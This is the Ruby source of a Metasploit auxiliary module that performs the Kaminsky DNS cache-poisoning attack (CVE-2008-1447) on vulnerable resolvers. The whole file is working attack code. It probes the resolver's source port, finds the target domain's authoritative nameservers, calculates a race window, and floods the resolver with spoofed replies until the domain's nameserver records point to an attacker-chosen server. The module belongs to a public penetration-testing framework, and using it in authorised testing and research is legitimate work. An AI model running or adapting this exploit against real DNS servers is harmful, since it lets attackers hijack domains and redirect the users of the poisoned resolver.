Path: blob/master/modules/auxiliary/spoof/dns/bailiwicked_domain.rb
21545 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'English'6require 'net/dns'7require 'resolv'89class MetasploitModule < Msf::Auxiliary10include Msf::Exploit::Capture1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'DNS BailiWicked Domain Attack',17'Description' => %q{18This exploit attacks a fairly ubiquitous flaw in DNS implementations which19Dan Kaminsky found and disclosed ~Jul 2008. This exploit replaces the target20domains nameserver entries in a vulnerable DNS cache server. This attack works21by sending random hostname queries to the target DNS server coupled with spoofed22replies to those queries from the authoritative nameservers for that domain.23Eventually, a guessed ID will match, the spoofed packet will get accepted, and24the nameserver entries for the target domain will be replaced by the server25specified in the NEWDNS option of this exploit.26},27'Author' => [28'I)ruid', 'hdm',29# Cedric figured out the NS injection method30# and was cool enough to email us and share!31'Cedric Blancher <sid[at]rstack.org>'32],33'License' => MSF_LICENSE,34'References' => [35[ 'CVE', '2008-1447' ],36[ 'OSVDB', '46776'],37[ 'US-CERT-VU', '800113' ],38[ 'URL', 'http://web.archive.org/web/20160527135835/http://www.caughq.org/exploits/CAU-EX-2008-0003.txt' ],39],40'DisclosureDate' => '2008-07-21',41'Notes' => {42'Stability' => [SERVICE_RESOURCE_LOSS],43'SideEffects' => [IOC_IN_LOGS],44'Reliability' => []45}46)47)4849register_options(50[51OptEnum.new('SRCADDR', [true, 'The source address to use for sending the queries', 'Real', ['Real', 'Random'], 'Real']),52OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),53OptString.new('DOMAIN', [true, 'The domain to hijack', 'example.com']),54OptString.new('NEWDNS', [true, 'The hostname of the replacement DNS server', nil]),55OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']),56OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]),57OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(30000..49999)]),58]59)6061deregister_options('FILTER', 'PCAPFILE')62end6364def auxiliary_commands65return {66'racer' => 'Determine the size of the window for the target server'67}68end6970def cmd_racer(*args)71targ = args[0] || rhost72dom = args[1] || 'example.com'7374if !(targ && !targ.empty?)75print_status('usage: racer [dns-server] [domain]')76return77end7879calculate_race(targ, dom)80end8182def check83targ = rhost8485srv_sock = Rex::Socket.create_udp(86'PeerHost' => targ,87'PeerPort' => 5388)8990random = false91ports = {}92lport = nil93reps = 094951.upto(30) do |i|96req = Resolv::DNS::Message.new97txt = "spoofprobe-check-#{i}-#{$PROCESS_ID}#{(rand * 1000000).to_i}.red.metasploit.com"98req.add_question(txt, Resolv::DNS::Resource::IN::TXT)99req.rd = 1100101srv_sock.put(req.encode)102res, = srv_sock.recvfrom(65535, 1.0)103104if res && !res.empty?105reps += 1106res = Resolv::DNS::Message.decode(res)107res.each_answer do |name, _ttl, data|108next unless (name.to_s == txt) && data.strings.join('') =~ (/^([^\s]+)\s+.*red\.metasploit\.com/m)109110t_addr, t_port = ::Regexp.last_match(1).split(':')111112vprint_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")113t_port = t_port.to_i114if lport && (lport != t_port)115random = true116end117lport = t_port118ports[t_port] ||= 0119ports[t_port] += 1120end121end122123if (i > 5) && ports.keys.empty?124break125end126end127128srv_sock.close129130if ports.keys.empty?131vprint_error('ERROR: This server is not replying to recursive requests')132return Exploit::CheckCode::Unknown133end134135if (reps < 30)136vprint_warning('WARNING: This server did not reply to all of our requests')137end138139if random140ports_u = ports.keys.length141ports_r = ((ports.keys.length / 30.0) * 100).to_i142vprint_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")143if (ports_r != 100)144vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")145# Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence146return Exploit::CheckCode::Appears147end148else149vprint_error('FAIL: This server uses a static source port and is vulnerable to poisoning')150return Exploit::CheckCode::Vulnerable151end152153Exploit::CheckCode::Safe154end155156def run157check_pcaprub_loaded # Check first158target = rhost159source = Rex::Socket.source_address(target)160saddr = datastore['SRCADDR']161sport = datastore['SRCPORT']162domain = datastore['DOMAIN'] + '.'163newdns = datastore['NEWDNS']164recons = datastore['RECONS']165xids = datastore['XIDS'].to_i166newttl = datastore['TTL'].to_i167xidbase = rand(20000..40000)168numxids = xids169address = Rex::Text.rand_text(4).unpack('C4').join('.')170171srv_sock = Rex::Socket.create_udp(172'PeerHost' => target,173'PeerPort' => 53174)175176# Get the source port via the metasploit service if it's not set177if sport.to_i == 0178req = Resolv::DNS::Message.new179txt = "spoofprobe-#{$PROCESS_ID}#{(rand * 1000000).to_i}.red.metasploit.com"180req.add_question(txt, Resolv::DNS::Resource::IN::TXT)181req.rd = 1182183srv_sock.put(req.encode)184res, = srv_sock.recvfrom185186if res && !res.empty?187res = Resolv::DNS::Message.decode(res)188res.each_answer do |name, _ttl, data|189next unless (name.to_s == txt) && data.strings.join('') =~ (/^([^\s]+)\s+.*red\.metasploit\.com/m)190191t_addr, t_port = ::Regexp.last_match(1).split(':')192sport = t_port.to_i193194print_status("Switching to target port #{sport} based on Metasploit service")195if target != t_addr196print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")197end198end199end200end201202# Verify its not already poisoned203begin204query = Resolv::DNS::Message.new205query.add_question(domain, Resolv::DNS::Resource::IN::NS)206query.rd = 0207208loop do209cached = false210srv_sock.put(query.encode)211answer, = srv_sock.recvfrom212213if answer && !answer.empty?214answer = Resolv::DNS::Message.decode(answer)215answer.each_answer do |name, ttl, data|216next unless ((name.to_s + '.') == domain) && (data.name.to_s == newdns)217218t = Time.now + ttl219print_error("Failure: This domain is already using #{newdns} as a nameserver")220print_error(" Cache entry expires on #{t}")221srv_sock.close222close_pcap223break224end225226end227break if !cached228end229rescue ::Interrupt230raise $ERROR_INFO231rescue StandardError => e232print_error("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")233end234235res0 = Net::DNS::Resolver.new(nameservers: [recons], dns_search: false, recursive: true) # reconnaissance resolver236237print_status "Targeting nameserver #{target} for injection of #{domain} nameservers as #{newdns}"238239# Look up the nameservers for the domain240print_status "Querying recon nameserver for #{domain}'s nameservers..."241answer0 = res0.send(domain, Net::DNS::NS)242# print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"243244barbs = [] # storage for nameservers245answer0.answer.each do |rr0|246print_status " Got an #{rr0.type} record: #{rr0.inspect}"247next unless rr0.type == 'NS'248249print_status " Querying recon nameserver for address of #{rr0.nsdname}..."250answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname251# print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"252answer1.answer.each do |rr1|253print_status " Got an #{rr1.type} record: #{rr1.inspect}"254res2 = Net::DNS::Resolver.new(nameservers: rr1.address, dns_search: false, recursive: false, retry: 1)255print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."256answer2 = res2.send(domain, Net::DNS::SOA)257next unless answer2 && answer2.header.auth? && (answer2.header.anCount >= 1)258259nsrec = { name: rr0.nsdname, addr: rr1.address }260barbs << nsrec261print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"262end263end264265if barbs.empty?266print_status('No DNS servers found.')267srv_sock.close268close_pcap269return270end271272if (xids == 0)273print_status('Calculating the number of spoofed replies to send per query...')274qcnt = calculate_race(target, domain, 100)275numxids = ((qcnt * 1.5) / barbs.length).to_i276if (numxids == 0)277print_status('The server did not reply, giving up.')278srv_sock.close279close_pcap280return281end282print_status("Sending #{numxids} spoofed replies from each nameserver (#{barbs.length}) for each query")283end284285# Flood the target with queries and spoofed responses, one will eventually hit286queries = 0287responses = 0288289open_pcap unless capture290291print_status("Attempting to inject poison records for #{domain}'s nameservers into #{target}:#{sport}...")292293loop do294randhost = Rex::Text.rand_text_alphanumeric(10..19) + '.' + domain # randomize the hostname295296# Send spoofed query297req = Resolv::DNS::Message.new298req.id = rand(2**16)299req.add_question(randhost, Resolv::DNS::Resource::IN::A)300301req.rd = 1302303src_ip = source304305if (saddr == 'Random')306src_ip = Rex::Text.rand_text(4).unpack('C4').join('.')307end308309p = PacketFu::UDPPacket.new310p.ip_saddr = src_ip311p.ip_daddr = target312p.ip_ttl = 255313p.udp_sport = (rand((2**16) - 1024) + 1024).to_i314p.udp_dport = 53315p.payload = req.encode316p.recalc317318capture_sendto(p, target)319queries += 1320321# Send evil spoofed answer from ALL nameservers (barbs[*][:addr])322req.add_answer(randhost, newttl, Resolv::DNS::Resource::IN::A.new(address))323req.add_authority(domain, newttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(newdns)))324req.add_additional(newdns, newttl, Resolv::DNS::Resource::IN::A.new(address)) # Ignored325req.qr = 1326req.aa = 1327328# Reuse our PacketFu object329p.udp_sport = 53330p.udp_dport = sport.to_i331332xidbase.upto(xidbase + numxids - 1) do |id|333req.id = id334p.payload = req.encode335barbs.each do |barb|336p.ip_saddr = barb[:addr].to_s337p.recalc338capture_sendto(p, target)339responses += 1340end341end342343# status update344if queries % 1000 == 0345print_status("Sent #{queries} queries and #{responses} spoofed responses...")346if (xids == 0)347print_status('Recalculating the number of spoofed replies to send per query...')348qcnt = calculate_race(target, domain, 25)349numxids = ((qcnt * 1.5) / barbs.length).to_i350if (numxids == 0)351print_status('The server has stopped replying, giving up.')352srv_sock.close353close_pcap354return355end356print_status("Now sending #{numxids} spoofed replies from each nameserver (#{barbs.length}) for each query")357end358end359360# every so often, check and see if the target is poisoned...361next unless queries % 250 == 0362363begin364query = Resolv::DNS::Message.new365query.add_question(domain, Resolv::DNS::Resource::IN::NS)366query.rd = 0367368srv_sock.put(query.encode)369answer, = srv_sock.recvfrom370371if answer && !answer.empty?372answer = Resolv::DNS::Message.decode(answer)373answer.each_answer do |name, _ttl, data|374next unless ((name.to_s + '.') == domain) && (data.name.to_s == newdns)375376print_good("Poisoning successful after #{queries} queries and #{responses} responses: #{domain} == #{newdns}")377srv_sock.close378close_pcap379break380end381end382rescue ::Interrupt383raise $ERROR_INFO384rescue StandardError => e385print_error("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")386end387end388end389390#391# Send a recursive query to the target server, then flood392# the server with non-recursive queries for the same entry.393# Calculate how many non-recursive queries we receive back394# until the real server responds. This should give us a395# ballpark figure for ns->ns latency. We can repeat this396# a few times to account for each nameserver the cache server397# may query for the target domain.398#399def calculate_race(server, domain, num = 50)400cnt = 0401402times = []403404hostname = Rex::Text.rand_text_alphanumeric(10..19) + '.' + domain405406sock = Rex::Socket.create_udp(407'PeerHost' => server,408'PeerPort' => 53409)410411req = Resolv::DNS::Message.new412req.add_question(hostname, Resolv::DNS::Resource::IN::A)413req.rd = 1414req.id = 1415416q_beg_t = Time.now.to_f417sock.put(req.encode)418req.rd = 0419420while (times.length < num)421res, = sock.recvfrom(65535, 0.01)422423if res && !res.empty?424res = Resolv::DNS::Message.decode(res)425426if (res.id == 1)427times << [Time.now.to_f - q_beg_t, cnt]428cnt = 0429430hostname = Rex::Text.rand_text_alphanumeric(10..19) + '.' + domain431432sock.close433sock = Rex::Socket.create_udp(434'PeerHost' => server,435'PeerPort' => 53436)437438q_beg_t = Time.now.to_f439req = Resolv::DNS::Message.new440req.add_question(hostname, Resolv::DNS::Resource::IN::A)441req.rd = 1442req.id = 1443444sock.put(req.encode)445req.rd = 0446end447448cnt += 1449end450451req.id += 1452453sock.put(req.encode)454end455456min_time = (times.map { |i| i[0] }.min * 100).to_i / 100.0457max_time = (times.map { |i| i[0] }.max * 100).to_i / 100.0458sum = 0459times.each { |i| sum += i[0] }460avg_time = ((sum / times.length) * 100).to_i / 100.0461462min_count = times.map { |i| i[1] }.min463max_count = times.map { |i| i[1] }.max464sum = 0465times.each { |i| sum += i[1] }466avg_count = sum / times.length467468sock.close469470print_status(" race calc: #{times.length} queries | min/max/avg time: #{min_time}/#{max_time}/#{avg_time} | min/max/avg replies: #{min_count}/#{max_count}/#{avg_count}")471472# XXX: We should subtract the timing from the target to us (calculated based on 0.50 of our non-recursive query times)473avg_count474end475end476477478